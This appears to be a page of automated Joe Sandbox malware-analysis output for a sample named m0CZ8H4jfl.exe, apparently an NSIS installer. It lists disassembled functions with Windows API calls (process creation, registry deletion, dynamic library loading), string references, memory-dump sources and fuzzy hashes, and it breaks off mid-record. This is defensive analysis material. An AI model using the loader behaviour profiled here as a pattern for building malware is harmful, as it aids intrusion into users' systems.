API ID: FileGlobal$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerwsprintf
String ID:
API String ID: 2082585436-0
Opcode ID: a6b29bbfff6bedb85eff617e0f32f780eda951c653e88163e3cff6ef8cd4870b
Instruction ID: f11faf613eabf70f6da5efab5544ef3b1f343b4f82166007b8c29dabf9a1b1c4
Opcode Fuzzy Hash: a6b29bbfff6bedb85eff617e0f32f780eda951c653e88163e3cff6ef8cd4870b
Instruction Fuzzy Hash: D0217C72800118BFCF116FA5CE4889E7EB9EF09324F24423AF554762E0C6795D81DB68

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll,?,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll,?,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp, xrefs: 0040257C
C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp$C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll
API String ID: 3109718747-3646675532
Opcode ID: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(?,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F90

Strings

Call, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-297319885
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,?,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,?,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405B11 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,?,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-297319885
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 100015B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(?,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD
wsprintfW.USER32 ref: 100015F2

Strings

s<u, xrefs: 100015F2

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: AllocGloballstrcpywsprintf
String ID: s<u
API String ID: 2689062267-779365171
Opcode ID: b666731ea850b0db34310f966fc1483e79c072b1553816228d181fcf3b6ead58
Instruction ID: d9a8518b4a308c4ae7950fd45204b89885c5383cf9e926244676a8cd36a9aa9c
Opcode Fuzzy Hash: b666731ea850b0db34310f966fc1483e79c072b1553816228d181fcf3b6ead58
Instruction Fuzzy Hash: 68E02070205C21E7F121D7249C88ACD37F4EF812E77124124F706EA18CDB31CA434785

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
